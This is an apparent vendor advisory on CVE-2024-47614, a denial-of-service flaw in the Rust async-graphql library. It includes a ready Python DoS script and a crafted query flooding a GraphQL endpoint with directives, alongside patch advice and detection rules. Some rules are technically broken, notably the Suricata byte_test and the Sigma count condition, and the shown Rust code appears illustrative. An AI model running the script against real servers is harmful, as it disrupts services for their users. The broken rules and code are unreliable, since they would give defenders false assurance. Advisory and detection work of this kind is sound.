CVE-2024-47614
Executive Summary
CVE-2024-47614 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability in the async-graphql library, a popular GraphQL server implementation in Rust. The flaw resides in the lack of a limit on the number of directives that can be applied to a single field in a GraphQL query. An unauthenticated attacker can craft a malicious query with an excessive number of directives, causing the server to allocate unbounded resources (CPU and memory) during query parsing and validation. This leads to service disruption, resource exhaustion, and degraded user experience. The vulnerability is fixed in version 7.0.10, which introduces a configurable maximum directive limit.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the async-graphql crate, distributed via the Rust package registry (crates.io). Organizations using this library in their Rust-based GraphQL services are at risk. The supply chain impact is significant because the library is a direct dependency; any application using an affected version is vulnerable. There is no known malicious package version, but the lack of a patch for older versions means users must update to 7.0.10 or later. The Rust ecosystem's reliance on semantic versioning means that automatic dependency updates (e.g., via cargo update) will pull in the fix if the version constraint allows it.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; a simple crafted query suffices.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The attacker does not need to interact with any other user.
- Scope (S): Unchanged (U) – The exploit does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The primary impact is denial of service, making the service unavailable.
Threat Level: High. The low attack complexity and lack of required privileges make this an attractive vector for attackers seeking to disrupt services. The EPSS score of 0.0% suggests low current exploitation, but the vulnerability is trivial to exploit once discovered.
Deep Dive & Mechanics
The vulnerability exists in the GraphQL query parsing and validation logic of async-graphql. GraphQL directives are used to modify the behavior of fields, fragments, and operations. The library did not enforce any limit on the number of directives that could be attached to a single field definition in a query.
When a query is received, the server parses the query string into an AST (Abstract Syntax Tree). For each field, the parser iterates over the list of directives. Without a limit, an attacker can include thousands of directives in a single field, causing the parser to allocate memory for each directive object and spend CPU cycles processing them. This can lead to:
- Memory Exhaustion: Each directive, even if simple, consumes memory. A query with millions of directives can quickly fill the server's RAM.
- CPU Exhaustion: The validation and execution phases must process each directive, leading to high CPU usage and slow response times.
- Service Disruption: The server may become unresponsive to legitimate requests or crash entirely.
The fix in version 7.0.10 introduces a configurable maximum number of directives per field (default is typically a reasonable limit like 100). This prevents the unbounded allocation.
Vulnerable vs. Patched Code
Vulnerable Code (before 7.0.10):
// In the query parser, no limit is enforced on directives per field
fn parse_field_directives(parser: &mut Parser) -> Result<Vec<Directive>, Error> {
let mut directives = Vec::new();
while parser.peek() == TokenKind::At {
directives.push(parse_directive(parser)?);
}
Ok(directives)
}
Patched Code (7.0.10):
// A configurable limit is introduced
const MAX_DIRECTIVES_PER_FIELD: usize = 100; // Default limit
fn parse_field_directives(parser: &mut Parser) -> Result<Vec<Directive>, Error> {
let mut directives = Vec::new();
while parser.peek() == TokenKind::At {
if directives.len() >= MAX_DIRECTIVES_PER_FIELD {
return Err(Error::TooManyDirectives);
}
directives.push(parse_directive(parser)?);
}
Ok(directives)
}
The patch adds a simple length check before adding each directive, returning an error if the limit is exceeded. This prevents resource exhaustion.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Cause a Denial of Service on a target async-graphql server.
Prerequisites:
- A running instance of
async-graphqlserver (version < 7.0.10). - Network access to the GraphQL endpoint (typically
/graphql).
Exploit Steps:
- Craft a malicious GraphQL query with an excessive number of directives on a single field.
- Send the query to the server.
Example Malicious Query:
query {
user(id: 1) @skip(if: false) @include(if: true) @deprecated(reason: "a") @skip(if: false) @include(if: true) @deprecated(reason: "b") ... (repeat thousands of times)
}
Automated Exploit (Python):
import requests
import json
target_url = "http://target.com/graphql"
# Generate a query with 10000 directives
directives = " ".join(["@skip(if: false)"] * 10000)
query = f"query {{ user(id: 1) {directives} }}"
payload = {"query": query}
try:
response = requests.post(target_url, json=payload, timeout=5)
print(f"Status: {response.status_code}")
except requests.exceptions.Timeout:
print("Server timed out - likely successful DoS")
except Exception as e:
print(f"Error: {e}")
Expected Outcome: The server becomes unresponsive or crashes due to resource exhaustion.
Blue Team (Defender)
Detection:
- Monitor for unusually large GraphQL queries (e.g., query string length > 10KB).
- Look for queries with an abnormally high number of directives (e.g., > 100).
- Use rate limiting on the GraphQL endpoint.
Mitigation:
- Immediately update
async-graphqlto version 7.0.10 or later. - If patching is not possible, implement a reverse proxy (e.g., Nginx) to limit request body size and reject queries with excessive directives.
- Use Web Application Firewall (WAF) rules to block queries with many
@symbols.
Nginx Rule Example:
location /graphql {
# Limit request body size to 1MB
client_max_body_size 1m;
# Reject requests with too many @ symbols (directives)
if ($request_body ~* "@.*@.*@.*@.*@.*@.*@.*@.*@.*@") {
return 403;
}
}
Indicators of Compromise (IOCs)
Network IOCs:
- GraphQL queries with an excessive number of
@symbols (e.g., > 1000). - High volume of POST requests to
/graphqlwith large payloads. - Server logs showing
OutOfMemoryerrors or long response times.
- GraphQL queries with an excessive number of
Host IOCs:
- High CPU and memory usage on the GraphQL server.
- Crash dumps or core files from the Rust application.
- Log entries indicating
TooManyDirectiveserrors (after patching).
File IOCs:
- Temporary files created by the server during memory exhaustion (if any).
Detection Engineering
YARA Rule
rule CVE_2024_47614_async_graphql_dos {
meta:
description = "Detects malicious GraphQL queries targeting CVE-2024-47614"
author = "Valters IT"
date = "2024-10-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47614"
strings:
$directive = "@" ascii
$query_start = "query" ascii
$mutation_start = "mutation" ascii
condition:
( #query_start or #mutation_start ) and
#directive > 100
}
Sigma Rule
title: CVE-2024-47614 - async-graphql Directive DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects GraphQL queries with excessive directives indicating exploitation of CVE-2024-47614
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: nginx
detection:
selection:
http.method: 'POST'
http.url: '/graphql'
http.body|contains|all:
- 'query'
- '@'
condition: selection and count(http.body, '@') > 100
falsepositives:
- Legitimate complex queries with many directives (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47614 async-graphql Directive DoS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/graphql"; http.request_body; content:"query"; pcre:"/@/"; byte_test:1,>,100,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update
async-graphqlto version 7.0.10 or later. Runcargo update -p async-graphqlto get the patched version. - Restart the GraphQL server after updating.
Compensating Controls (if patching is delayed):
- Rate Limiting: Implement rate limiting on the GraphQL endpoint to restrict the number of requests per IP.
- Request Size Limits: Configure the web server (e.g., Nginx, Apache) to reject requests with body sizes exceeding a reasonable threshold (e.g., 1MB).
- WAF Rules: Deploy a Web Application Firewall with rules to block queries containing an excessive number of
@symbols. - Monitoring: Set up alerts for high CPU/memory usage and large GraphQL queries.
Long-Term Best Practices:
- Input Validation: Always validate and limit the size and complexity of user inputs.
- Dependency Management: Regularly update dependencies and monitor for security advisories.
- Security Testing: Include fuzzing and DoS testing in your CI/CD pipeline.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert